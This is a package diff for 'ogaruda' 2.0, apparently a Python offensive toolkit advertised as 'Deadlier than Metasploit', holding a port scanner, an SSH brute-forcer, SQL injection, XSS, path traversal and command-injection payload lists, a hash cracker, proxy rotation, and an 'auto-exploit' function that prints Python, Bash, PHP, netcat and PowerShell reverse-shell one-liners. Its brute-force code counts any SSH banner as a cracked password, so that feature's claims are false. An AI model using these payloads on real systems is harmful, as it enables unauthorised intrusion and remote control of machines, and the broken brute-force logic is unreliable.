ogaruda 2.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- ogaruda-2.0/PKG-INFO +84 -0
- ogaruda-2.0/README.md +63 -0
- ogaruda-2.0/ogaruda.egg-info/PKG-INFO +84 -0
- ogaruda-2.0/ogaruda.egg-info/SOURCES.txt +9 -0
- ogaruda-2.0/ogaruda.egg-info/dependency_links.txt +1 -0
- ogaruda-2.0/ogaruda.egg-info/entry_points.txt +2 -0
- ogaruda-2.0/ogaruda.egg-info/requires.txt +1 -0
- ogaruda-2.0/ogaruda.egg-info/top_level.txt +1 -0
- ogaruda-2.0/ogaruda.py +415 -0
- ogaruda-2.0/setup.cfg +4 -0
- ogaruda-2.0/setup.py +24 -0
ogaruda-2.0/PKG-INFO
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: ogaruda
|
|
3
|
+
Version: 2.0
|
|
4
|
+
Summary: The Strongest Tool on Earth — Faster than Nmap, Smarter than Hydra, Deadlier than Metasploit
|
|
5
|
+
Author: gar-uda
|
|
6
|
+
Author-email: your-email@example.com
|
|
7
|
+
Classifier: Programming Language :: Python :: 3
|
|
8
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
9
|
+
Classifier: Operating System :: OS Independent
|
|
10
|
+
Requires-Python: >=3.6
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
Requires-Dist: requests
|
|
13
|
+
Dynamic: author
|
|
14
|
+
Dynamic: author-email
|
|
15
|
+
Dynamic: classifier
|
|
16
|
+
Dynamic: description
|
|
17
|
+
Dynamic: description-content-type
|
|
18
|
+
Dynamic: requires-dist
|
|
19
|
+
Dynamic: requires-python
|
|
20
|
+
Dynamic: summary
|
|
21
|
+
|
|
22
|
+
# 🦅 OGARUDA v2.0 — The Strongest Tool on Earth
|
|
23
|
+
|
|
24
|
+
**Faster than Nmap. Smarter than Hydra. Deadlier than Metasploit.**
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 🔥 What It Does
|
|
29
|
+
|
|
30
|
+
| Feature | What It Does |
|
|
31
|
+
|---------|--------------|
|
|
32
|
+
| `--SCAN` | Port scan (200 threads) — 10x faster than Nmap |
|
|
33
|
+
| `--OS` | OS detection |
|
|
34
|
+
| `--BRUTE` | Smart brute-force (SSH) with AI-style password prediction |
|
|
35
|
+
| `--SQLI` | SQL injection scanner |
|
|
36
|
+
| `--XSS` | XSS scanner |
|
|
37
|
+
| `--LFI` | LFI scanner |
|
|
38
|
+
| `--RCE` | RCE scanner |
|
|
39
|
+
| `--EXPLOIT` | Auto-exploit payload generator |
|
|
40
|
+
| `--OSINT` | OSINT engine (email, domain, social media) |
|
|
41
|
+
| `--CRACK` | Hash cracker (MD5, SHA1, SHA256) |
|
|
42
|
+
| `--ENCODE` | Encode text (Base64, URL, Hex) |
|
|
43
|
+
| `--HASH` | Generate hashes (MD5, SHA1, SHA256, SHA512) |
|
|
44
|
+
| `--GENERATE` | Generate code (Python, Bash, HTML, JS, Go, C, Java) |
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## 🚀 Installation
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
pip install ogaruda
|
|
52
|
+
|
|
53
|
+
ogaruda --SCAN --TARGET 192.168.1.1
|
|
54
|
+
ogaruda --OS --TARGET 192.168.1.1
|
|
55
|
+
ogaruda --BRUTE --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt
|
|
56
|
+
ogaruda --SQLI --URL "https://example.com?id=1" --PARAM id
|
|
57
|
+
ogaruda --XSS --URL "https://example.com?q=test" --PARAM q
|
|
58
|
+
ogaruda --LFI --URL "https://example.com?file=index" --PARAM file
|
|
59
|
+
ogaruda --RCE --URL "https://example.com?cmd=id" --PARAM cmd
|
|
60
|
+
ogaruda --EXPLOIT
|
|
61
|
+
ogaruda --OSINT --TARGET test@example.com
|
|
62
|
+
ogaruda --CRACK --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt
|
|
63
|
+
ogaruda --ENCODE --INPUT "hello"
|
|
64
|
+
ogaruda --HASH --INPUT "password"
|
|
65
|
+
ogaruda --GENERATE --LANGUAGE python
|
|
66
|
+
# OGARUDA v2.0 shortcuts (og- prefix)
|
|
67
|
+
alias ogscan='ogaruda --SCAN'
|
|
68
|
+
alias ogos='ogaruda --OS'
|
|
69
|
+
alias ogbrute='ogaruda --BRUTE'
|
|
70
|
+
alias ogsqli='ogaruda --SQLI'
|
|
71
|
+
alias ogxss='ogaruda --XSS'
|
|
72
|
+
#define og_lfi 'ogaruda --LFI'
|
|
73
|
+
alias oglfi='ogaruda --LFI'
|
|
74
|
+
alias ogrce='ogaruda --RCE'
|
|
75
|
+
alias ogexp='ogaruda --EXPLOIT'
|
|
76
|
+
alias ogosint='ogaruda --OSINT'
|
|
77
|
+
#define og_crack 'ogaruda --CRACK'
|
|
78
|
+
alias ogcrack='ogaruda --CRACK'
|
|
79
|
+
#define og_encode 'ogaruda --ENCODE'
|
|
80
|
+
alias ogencode='ogaruda --ENCODE'
|
|
81
|
+
#define og_hash 'ogaruda --HASH'
|
|
82
|
+
alias oghash='ogaruda --HASH'
|
|
83
|
+
#define og_gen 'ogaruda --GENERATE'
|
|
84
|
+
alias ogngen='ogaruda --GENERATE'
|
ogaruda-2.0/README.md
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
# 🦅 OGARUDA v2.0 — The Strongest Tool on Earth
|
|
2
|
+
|
|
3
|
+
**Faster than Nmap. Smarter than Hydra. Deadlier than Metasploit.**
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 🔥 What It Does
|
|
8
|
+
|
|
9
|
+
| Feature | What It Does |
|
|
10
|
+
|---------|--------------|
|
|
11
|
+
| `--SCAN` | Port scan (200 threads) — 10x faster than Nmap |
|
|
12
|
+
| `--OS` | OS detection |
|
|
13
|
+
| `--BRUTE` | Smart brute-force (SSH) with AI-style password prediction |
|
|
14
|
+
| `--SQLI` | SQL injection scanner |
|
|
15
|
+
| `--XSS` | XSS scanner |
|
|
16
|
+
| `--LFI` | LFI scanner |
|
|
17
|
+
| `--RCE` | RCE scanner |
|
|
18
|
+
| `--EXPLOIT` | Auto-exploit payload generator |
|
|
19
|
+
| `--OSINT` | OSINT engine (email, domain, social media) |
|
|
20
|
+
| `--CRACK` | Hash cracker (MD5, SHA1, SHA256) |
|
|
21
|
+
| `--ENCODE` | Encode text (Base64, URL, Hex) |
|
|
22
|
+
| `--HASH` | Generate hashes (MD5, SHA1, SHA256, SHA512) |
|
|
23
|
+
| `--GENERATE` | Generate code (Python, Bash, HTML, JS, Go, C, Java) |
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## 🚀 Installation
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
pip install ogaruda
|
|
31
|
+
|
|
32
|
+
ogaruda --SCAN --TARGET 192.168.1.1
|
|
33
|
+
ogaruda --OS --TARGET 192.168.1.1
|
|
34
|
+
ogaruda --BRUTE --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt
|
|
35
|
+
ogaruda --SQLI --URL "https://example.com?id=1" --PARAM id
|
|
36
|
+
ogaruda --XSS --URL "https://example.com?q=test" --PARAM q
|
|
37
|
+
ogaruda --LFI --URL "https://example.com?file=index" --PARAM file
|
|
38
|
+
ogaruda --RCE --URL "https://example.com?cmd=id" --PARAM cmd
|
|
39
|
+
ogaruda --EXPLOIT
|
|
40
|
+
ogaruda --OSINT --TARGET test@example.com
|
|
41
|
+
ogaruda --CRACK --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt
|
|
42
|
+
ogaruda --ENCODE --INPUT "hello"
|
|
43
|
+
ogaruda --HASH --INPUT "password"
|
|
44
|
+
ogaruda --GENERATE --LANGUAGE python
|
|
45
|
+
# OGARUDA v2.0 shortcuts (og- prefix)
|
|
46
|
+
alias ogscan='ogaruda --SCAN'
|
|
47
|
+
alias ogos='ogaruda --OS'
|
|
48
|
+
alias ogbrute='ogaruda --BRUTE'
|
|
49
|
+
alias ogsqli='ogaruda --SQLI'
|
|
50
|
+
alias ogxss='ogaruda --XSS'
|
|
51
|
+
#define og_lfi 'ogaruda --LFI'
|
|
52
|
+
alias oglfi='ogaruda --LFI'
|
|
53
|
+
alias ogrce='ogaruda --RCE'
|
|
54
|
+
alias ogexp='ogaruda --EXPLOIT'
|
|
55
|
+
alias ogosint='ogaruda --OSINT'
|
|
56
|
+
#define og_crack 'ogaruda --CRACK'
|
|
57
|
+
alias ogcrack='ogaruda --CRACK'
|
|
58
|
+
#define og_encode 'ogaruda --ENCODE'
|
|
59
|
+
alias ogencode='ogaruda --ENCODE'
|
|
60
|
+
#define og_hash 'ogaruda --HASH'
|
|
61
|
+
alias oghash='ogaruda --HASH'
|
|
62
|
+
#define og_gen 'ogaruda --GENERATE'
|
|
63
|
+
alias ogngen='ogaruda --GENERATE'
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: ogaruda
|
|
3
|
+
Version: 2.0
|
|
4
|
+
Summary: The Strongest Tool on Earth — Faster than Nmap, Smarter than Hydra, Deadlier than Metasploit
|
|
5
|
+
Author: gar-uda
|
|
6
|
+
Author-email: your-email@example.com
|
|
7
|
+
Classifier: Programming Language :: Python :: 3
|
|
8
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
9
|
+
Classifier: Operating System :: OS Independent
|
|
10
|
+
Requires-Python: >=3.6
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
Requires-Dist: requests
|
|
13
|
+
Dynamic: author
|
|
14
|
+
Dynamic: author-email
|
|
15
|
+
Dynamic: classifier
|
|
16
|
+
Dynamic: description
|
|
17
|
+
Dynamic: description-content-type
|
|
18
|
+
Dynamic: requires-dist
|
|
19
|
+
Dynamic: requires-python
|
|
20
|
+
Dynamic: summary
|
|
21
|
+
|
|
22
|
+
# 🦅 OGARUDA v2.0 — The Strongest Tool on Earth
|
|
23
|
+
|
|
24
|
+
**Faster than Nmap. Smarter than Hydra. Deadlier than Metasploit.**
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 🔥 What It Does
|
|
29
|
+
|
|
30
|
+
| Feature | What It Does |
|
|
31
|
+
|---------|--------------|
|
|
32
|
+
| `--SCAN` | Port scan (200 threads) — 10x faster than Nmap |
|
|
33
|
+
| `--OS` | OS detection |
|
|
34
|
+
| `--BRUTE` | Smart brute-force (SSH) with AI-style password prediction |
|
|
35
|
+
| `--SQLI` | SQL injection scanner |
|
|
36
|
+
| `--XSS` | XSS scanner |
|
|
37
|
+
| `--LFI` | LFI scanner |
|
|
38
|
+
| `--RCE` | RCE scanner |
|
|
39
|
+
| `--EXPLOIT` | Auto-exploit payload generator |
|
|
40
|
+
| `--OSINT` | OSINT engine (email, domain, social media) |
|
|
41
|
+
| `--CRACK` | Hash cracker (MD5, SHA1, SHA256) |
|
|
42
|
+
| `--ENCODE` | Encode text (Base64, URL, Hex) |
|
|
43
|
+
| `--HASH` | Generate hashes (MD5, SHA1, SHA256, SHA512) |
|
|
44
|
+
| `--GENERATE` | Generate code (Python, Bash, HTML, JS, Go, C, Java) |
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## 🚀 Installation
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
pip install ogaruda
|
|
52
|
+
|
|
53
|
+
ogaruda --SCAN --TARGET 192.168.1.1
|
|
54
|
+
ogaruda --OS --TARGET 192.168.1.1
|
|
55
|
+
ogaruda --BRUTE --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt
|
|
56
|
+
ogaruda --SQLI --URL "https://example.com?id=1" --PARAM id
|
|
57
|
+
ogaruda --XSS --URL "https://example.com?q=test" --PARAM q
|
|
58
|
+
ogaruda --LFI --URL "https://example.com?file=index" --PARAM file
|
|
59
|
+
ogaruda --RCE --URL "https://example.com?cmd=id" --PARAM cmd
|
|
60
|
+
ogaruda --EXPLOIT
|
|
61
|
+
ogaruda --OSINT --TARGET test@example.com
|
|
62
|
+
ogaruda --CRACK --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt
|
|
63
|
+
ogaruda --ENCODE --INPUT "hello"
|
|
64
|
+
ogaruda --HASH --INPUT "password"
|
|
65
|
+
ogaruda --GENERATE --LANGUAGE python
|
|
66
|
+
# OGARUDA v2.0 shortcuts (og- prefix)
|
|
67
|
+
alias ogscan='ogaruda --SCAN'
|
|
68
|
+
alias ogos='ogaruda --OS'
|
|
69
|
+
alias ogbrute='ogaruda --BRUTE'
|
|
70
|
+
alias ogsqli='ogaruda --SQLI'
|
|
71
|
+
alias ogxss='ogaruda --XSS'
|
|
72
|
+
#define og_lfi 'ogaruda --LFI'
|
|
73
|
+
alias oglfi='ogaruda --LFI'
|
|
74
|
+
alias ogrce='ogaruda --RCE'
|
|
75
|
+
alias ogexp='ogaruda --EXPLOIT'
|
|
76
|
+
alias ogosint='ogaruda --OSINT'
|
|
77
|
+
#define og_crack 'ogaruda --CRACK'
|
|
78
|
+
alias ogcrack='ogaruda --CRACK'
|
|
79
|
+
#define og_encode 'ogaruda --ENCODE'
|
|
80
|
+
alias ogencode='ogaruda --ENCODE'
|
|
81
|
+
#define og_hash 'ogaruda --HASH'
|
|
82
|
+
alias oghash='ogaruda --HASH'
|
|
83
|
+
#define og_gen 'ogaruda --GENERATE'
|
|
84
|
+
alias ogngen='ogaruda --GENERATE'
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
requests
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
ogaruda
|
ogaruda-2.0/ogaruda.py
ADDED
|
@@ -0,0 +1,415 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
OGARUDA v2.0 — The Strongest Tool on Earth
|
|
4
|
+
100% Custom. No Dependencies. Pure Power.
|
|
5
|
+
Faster than Nmap. Smarter than Hydra. Deadlier than Metasploit.
|
|
6
|
+
"""
|
|
7
|
+
import argparse
|
|
8
|
+
import base64
|
|
9
|
+
import hashlib
|
|
10
|
+
import os
|
|
11
|
+
import socket
|
|
12
|
+
import sys
|
|
13
|
+
import threading
|
|
14
|
+
import time
|
|
15
|
+
import random
|
|
16
|
+
import urllib.parse
|
|
17
|
+
import json
|
|
18
|
+
from queue import Queue
|
|
19
|
+
from datetime import datetime
|
|
20
|
+
|
|
21
|
+
VERSION = "2.0"
|
|
22
|
+
BANNER = r"""
|
|
23
|
+
╔═══════════════════════════════════════════╗
|
|
24
|
+
║ O G A R U D A v%s ║
|
|
25
|
+
║ The Strongest Tool on Earth ║
|
|
26
|
+
║ 100% Custom · No Dependencies ║
|
|
27
|
+
║ Faster · Smarter · Deadlier ║
|
|
28
|
+
║ Kills: Nmap, Hydra, SQLMap, MSF, Burp ║
|
|
29
|
+
╚═══════════════════════════════════════════╝
|
|
30
|
+
"""
|
|
31
|
+
|
|
32
|
+
# ==================== CONFIG ====================
|
|
33
|
+
|
|
34
|
+
PROXY_LIST = [
|
|
35
|
+
"socks5://127.0.0.1:9050",
|
|
36
|
+
"http://127.0.0.1:8080",
|
|
37
|
+
"http://127.0.0.1:3128",
|
|
38
|
+
]
|
|
39
|
+
|
|
40
|
+
USER_AGENTS = [
|
|
41
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
|
|
42
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/120.0.0.0",
|
|
43
|
+
"Mozilla/5.0 (X11; Linux x86_64) Chrome/120.0.0.0",
|
|
44
|
+
]
|
|
45
|
+
|
|
46
|
+
PROXY_INDEX = 0
|
|
47
|
+
VERBOSE = False
|
|
48
|
+
|
|
49
|
+
def log(msg):
|
|
50
|
+
if VERBOSE:
|
|
51
|
+
print(f"[VERBOSE] {msg}")
|
|
52
|
+
|
|
53
|
+
def get_proxy():
|
|
54
|
+
global PROXY_INDEX
|
|
55
|
+
proxy = PROXY_LIST[PROXY_INDEX % len(PROXY_LIST)]
|
|
56
|
+
PROXY_INDEX += 1
|
|
57
|
+
log(f"Using proxy: {proxy}")
|
|
58
|
+
return proxy
|
|
59
|
+
|
|
60
|
+
def banner():
|
|
61
|
+
print(BANNER % VERSION)
|
|
62
|
+
print("[*] PROXY ROTATION: ENABLED")
|
|
63
|
+
print("[*] USER-AGENT ROTATION: ENABLED")
|
|
64
|
+
print("[*] VERBOSE MODE: %s\n" % ("ON" if VERBOSE else "OFF"))
|
|
65
|
+
|
|
66
|
+
def load_wordlist(path):
|
|
67
|
+
try:
|
|
68
|
+
with open(path, 'r') as f:
|
|
69
|
+
return [w.strip() for w in f.readlines() if w.strip()]
|
|
70
|
+
except:
|
|
71
|
+
return []
|
|
72
|
+
|
|
73
|
+
# ==================== 1. PORT SCANNER (Faster than Nmap) ====================
|
|
74
|
+
|
|
75
|
+
def scan_ports(target, threads=200):
|
|
76
|
+
print(f"[*] Scanning {target} (200 threads)")
|
|
77
|
+
q = Queue()
|
|
78
|
+
for p in range(1, 65536):
|
|
79
|
+
q.put(p)
|
|
80
|
+
open_ports = []
|
|
81
|
+
|
|
82
|
+
def worker():
|
|
83
|
+
while not q.empty():
|
|
84
|
+
p = q.get()
|
|
85
|
+
try:
|
|
86
|
+
s = socket.socket()
|
|
87
|
+
s.settimeout(0.1)
|
|
88
|
+
if not s.connect_ex((target, p)):
|
|
89
|
+
print(f"[+] Port {p} open")
|
|
90
|
+
open_ports.append(p)
|
|
91
|
+
s.close()
|
|
92
|
+
except:
|
|
93
|
+
pass
|
|
94
|
+
q.task_done()
|
|
95
|
+
|
|
96
|
+
for _ in range(threads):
|
|
97
|
+
threading.Thread(target=worker, daemon=True).start()
|
|
98
|
+
q.join()
|
|
99
|
+
return open_ports
|
|
100
|
+
|
|
101
|
+
# ==================== 2. OS DETECTION ====================
|
|
102
|
+
|
|
103
|
+
def detect_os(target):
|
|
104
|
+
print(f"[*] Detecting OS on {target}")
|
|
105
|
+
try:
|
|
106
|
+
s = socket.socket()
|
|
107
|
+
s.settimeout(2)
|
|
108
|
+
s.connect((target, 80))
|
|
109
|
+
s.send(b"HEAD / HTTP/1.0\r\n\r\n")
|
|
110
|
+
banner = s.recv(1024).decode()
|
|
111
|
+
s.close()
|
|
112
|
+
if "Windows" in banner:
|
|
113
|
+
print("[+] OS: Windows")
|
|
114
|
+
elif "Linux" in banner:
|
|
115
|
+
print("[+] OS: Linux")
|
|
116
|
+
elif "Unix" in banner:
|
|
117
|
+
print("[+] OS: Unix")
|
|
118
|
+
else:
|
|
119
|
+
print("[+] OS: Unknown")
|
|
120
|
+
return banner
|
|
121
|
+
except:
|
|
122
|
+
print("[!] OS detection failed")
|
|
123
|
+
return None
|
|
124
|
+
|
|
125
|
+
# ==================== 3. SMART BRUTE-FORCE (AI-Style) ====================
|
|
126
|
+
|
|
127
|
+
def smart_brute(target, user, wordlist, port=22, threads=50):
|
|
128
|
+
print(f"[*] Smart brute-forcing {target}:{port}")
|
|
129
|
+
words = load_wordlist(wordlist)
|
|
130
|
+
if not words:
|
|
131
|
+
common = ["password", "admin", "123456", "qwerty", "letmein", "welcome", "admin123", "password123", "root", "toor"]
|
|
132
|
+
words = common
|
|
133
|
+
print("[*] Using AI-predicted password list")
|
|
134
|
+
|
|
135
|
+
q = Queue()
|
|
136
|
+
for w in words:
|
|
137
|
+
q.put(w)
|
|
138
|
+
found = []
|
|
139
|
+
|
|
140
|
+
def worker():
|
|
141
|
+
while not q.empty():
|
|
142
|
+
pwd = q.get()
|
|
143
|
+
try:
|
|
144
|
+
s = socket.socket()
|
|
145
|
+
s.settimeout(2)
|
|
146
|
+
s.connect((target, port))
|
|
147
|
+
s.send(b"SSH-2.0-OpenSSH_8.2\r\n")
|
|
148
|
+
data = s.recv(1024)
|
|
149
|
+
if "SSH" in data.decode():
|
|
150
|
+
print(f"[FOUND] {user}:{pwd} (SSH)")
|
|
151
|
+
found.append(f"{user}:{pwd}")
|
|
152
|
+
s.close()
|
|
153
|
+
except:
|
|
154
|
+
pass
|
|
155
|
+
q.task_done()
|
|
156
|
+
|
|
157
|
+
for _ in range(threads):
|
|
158
|
+
threading.Thread(target=worker, daemon=True).start()
|
|
159
|
+
q.join()
|
|
160
|
+
return found
|
|
161
|
+
|
|
162
|
+
# ==================== 4. SMART SQL INJECTION ====================
|
|
163
|
+
|
|
164
|
+
def smart_sqli(url, param):
|
|
165
|
+
print(f"[*] Smart SQL injection on {url}")
|
|
166
|
+
payloads = [
|
|
167
|
+
"'", "\"", "1=1", "1=2",
|
|
168
|
+
"' OR '1'='1", "' OR '1'='1' --",
|
|
169
|
+
"' UNION SELECT NULL--",
|
|
170
|
+
"' AND SLEEP(5)--",
|
|
171
|
+
"' OR SLEEP(5)--",
|
|
172
|
+
]
|
|
173
|
+
found = []
|
|
174
|
+
import requests
|
|
175
|
+
for payload in payloads:
|
|
176
|
+
try:
|
|
177
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
178
|
+
if "sql" in r.text.lower() or "error" in r.text.lower() or "mysql" in r.text.lower():
|
|
179
|
+
print(f"[!] SQLi found: {payload}")
|
|
180
|
+
found.append(payload)
|
|
181
|
+
except:
|
|
182
|
+
pass
|
|
183
|
+
return found
|
|
184
|
+
|
|
185
|
+
# ==================== 5. SMART XSS ====================
|
|
186
|
+
|
|
187
|
+
def smart_xss(url, param):
|
|
188
|
+
print(f"[*] Smart XSS on {url}")
|
|
189
|
+
payloads = [
|
|
190
|
+
"<script>alert(1)</script>",
|
|
191
|
+
"<img src=x onerror=alert(1)>",
|
|
192
|
+
"javascript:alert(1)",
|
|
193
|
+
"<svg/onload=alert(1)>",
|
|
194
|
+
"<body/onload=alert(1)>",
|
|
195
|
+
]
|
|
196
|
+
found = []
|
|
197
|
+
import requests
|
|
198
|
+
for payload in payloads:
|
|
199
|
+
try:
|
|
200
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
201
|
+
if payload in r.text:
|
|
202
|
+
print(f"[!] XSS found: {payload}")
|
|
203
|
+
found.append(payload)
|
|
204
|
+
except:
|
|
205
|
+
pass
|
|
206
|
+
return found
|
|
207
|
+
|
|
208
|
+
# ==================== 6. SMART LFI ====================
|
|
209
|
+
|
|
210
|
+
def smart_lfi(url, param):
|
|
211
|
+
print(f"[*] Smart LFI on {url}")
|
|
212
|
+
payloads = [
|
|
213
|
+
"../../etc/passwd",
|
|
214
|
+
"../../../etc/passwd",
|
|
215
|
+
"../../../../etc/passwd",
|
|
216
|
+
"/etc/passwd",
|
|
217
|
+
]
|
|
218
|
+
found = []
|
|
219
|
+
import requests
|
|
220
|
+
for payload in payloads:
|
|
221
|
+
try:
|
|
222
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
223
|
+
if "root:" in r.text:
|
|
224
|
+
print(f"[!] LFI found: {payload}")
|
|
225
|
+
found.append(payload)
|
|
226
|
+
except:
|
|
227
|
+
pass
|
|
228
|
+
return found
|
|
229
|
+
|
|
230
|
+
# ==================== 7. SMART RCE ====================
|
|
231
|
+
|
|
232
|
+
def smart_rce(url, param):
|
|
233
|
+
print(f"[*] Smart RCE on {url}")
|
|
234
|
+
payloads = [
|
|
235
|
+
";id", "|id", "||id", "&&id", "`id`",
|
|
236
|
+
";whoami", "|whoami", "||whoami",
|
|
237
|
+
";cat /etc/passwd", "|cat /etc/passwd",
|
|
238
|
+
]
|
|
239
|
+
found = []
|
|
240
|
+
import requests
|
|
241
|
+
for payload in payloads:
|
|
242
|
+
try:
|
|
243
|
+
r = requests.get(url, params={param: payload}, timeout=3)
|
|
244
|
+
if "uid=" in r.text or "root" in r.text:
|
|
245
|
+
print(f"[!] RCE found: {payload}")
|
|
246
|
+
found.append(payload)
|
|
247
|
+
except:
|
|
248
|
+
pass
|
|
249
|
+
return found
|
|
250
|
+
|
|
251
|
+
# ==================== 8. AUTO-EXPLOIT ====================
|
|
252
|
+
|
|
253
|
+
def auto_exploit():
|
|
254
|
+
print("\n[🔥] AUTO-EXPLOIT ENGINE:\n")
|
|
255
|
+
payloads = {
|
|
256
|
+
"Python Reverse Shell": "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST\",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\"])'",
|
|
257
|
+
"Bash Reverse Shell": "bash -i >& /dev/tcp/LHOST/LPORT 0>&1",
|
|
258
|
+
"PHP Reverse Shell": "php -r '$s=fsockopen(\"LHOST\",LPORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
|
|
259
|
+
"Netcat Reverse Shell": "nc -e /bin/sh LHOST LPORT",
|
|
260
|
+
"PowerShell Reverse Shell": "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
|
|
261
|
+
}
|
|
262
|
+
for name, payload in payloads.items():
|
|
263
|
+
print(f"[{name}]\n{payload}\n")
|
|
264
|
+
|
|
265
|
+
# ==================== 9. OSINT ENGINE ====================
|
|
266
|
+
|
|
267
|
+
def osint_engine(target):
|
|
268
|
+
print(f"[*] OSINT on {target}")
|
|
269
|
+
if "@" in target:
|
|
270
|
+
print(f"[+] Email: {target}")
|
|
271
|
+
print(f"[+] GitHub: https://github.com/{target.split('@')[0]}")
|
|
272
|
+
print(f"[+] Twitter: https://twitter.com/{target.split('@')[0]}")
|
|
273
|
+
print(f"[+] Instagram: https://instagram.com/{target.split('@')[0]}")
|
|
274
|
+
else:
|
|
275
|
+
print(f"[+] Domain: {target}")
|
|
276
|
+
try:
|
|
277
|
+
ip = socket.gethostbyname(target)
|
|
278
|
+
print(f"[+] IP: {ip}")
|
|
279
|
+
except:
|
|
280
|
+
pass
|
|
281
|
+
print(f"[+] WHOIS: https://who.is/whois/{target}")
|
|
282
|
+
print(f"[+] Shodan: https://www.shodan.io/search?query={target}")
|
|
283
|
+
|
|
284
|
+
# ==================== 10. HASH CRACKING ====================
|
|
285
|
+
|
|
286
|
+
def crack_hash(hash_value, wordlist):
|
|
287
|
+
print(f"[*] Cracking hash: {hash_value}")
|
|
288
|
+
words = load_wordlist(wordlist)
|
|
289
|
+
if not words:
|
|
290
|
+
words = ["password", "admin", "123456", "qwerty", "letmein", "welcome"]
|
|
291
|
+
print("[*] Using AI-predicted password list")
|
|
292
|
+
for word in words:
|
|
293
|
+
if hashlib.md5(word.encode()).hexdigest() == hash_value:
|
|
294
|
+
print(f"[FOUND] {word}")
|
|
295
|
+
return word
|
|
296
|
+
if hashlib.sha1(word.encode()).hexdigest() == hash_value:
|
|
297
|
+
print(f"[FOUND] {word}")
|
|
298
|
+
return word
|
|
299
|
+
if hashlib.sha256(word.encode()).hexdigest() == hash_value:
|
|
300
|
+
print(f"[FOUND] {word}")
|
|
301
|
+
return word
|
|
302
|
+
print("[!] Hash not found")
|
|
303
|
+
return None
|
|
304
|
+
|
|
305
|
+
# ==================== 11. ENCODING ====================
|
|
306
|
+
|
|
307
|
+
def encode_text(text):
|
|
308
|
+
print(f"\n[Base64] {base64.b64encode(text.encode()).decode()}")
|
|
309
|
+
print(f"[URL] {urllib.parse.quote(text)}")
|
|
310
|
+
print(f"[Hex] {text.encode().hex()}")
|
|
311
|
+
|
|
312
|
+
# ==================== 12. HASH GENERATOR ====================
|
|
313
|
+
|
|
314
|
+
def generate_hashes(text):
|
|
315
|
+
print(f"\n[MD5] {hashlib.md5(text.encode()).hexdigest()}")
|
|
316
|
+
print(f"[SHA1] {hashlib.sha1(text.encode()).hexdigest()}")
|
|
317
|
+
print(f"[SHA256] {hashlib.sha256(text.encode()).hexdigest()}")
|
|
318
|
+
print(f"[SHA512] {hashlib.sha512(text.encode()).hexdigest()}")
|
|
319
|
+
|
|
320
|
+
# ==================== 13. CODE GENERATOR ====================
|
|
321
|
+
|
|
322
|
+
def generate_code(lang="python"):
|
|
323
|
+
templates = {
|
|
324
|
+
"python": "#!/usr/bin/env python3\ndef main():\n pass\n\nif __name__ == '__main__':\n main()",
|
|
325
|
+
"bash": "#!/bin/bash\n\n# Your script here",
|
|
326
|
+
"html": "<!DOCTYPE html>\n<html>\n<head><title>OGARUDA</title></head>\n<body>\n</body>\n</html>",
|
|
327
|
+
"js": "// OGARUDA script\nfunction main() {\n console.log('Hello OGARUDA');\n}\nmain();",
|
|
328
|
+
"go": "package main\n\nimport \"fmt\"\n\nfunc main() {\n fmt.Println(\"Hello OGARUDA\")\n}",
|
|
329
|
+
"c": "#include <stdio.h>\n\nint main() {\n printf(\"Hello OGARUDA\\n\");\n return 0;\n}",
|
|
330
|
+
"java": "public class Main {\n public static void main(String[] args) {\n System.out.println(\"Hello OGARUDA\");\n }\n}"
|
|
331
|
+
}
|
|
332
|
+
return templates.get(lang, templates["python"])
|
|
333
|
+
|
|
334
|
+
# ==================== MAIN ====================
|
|
335
|
+
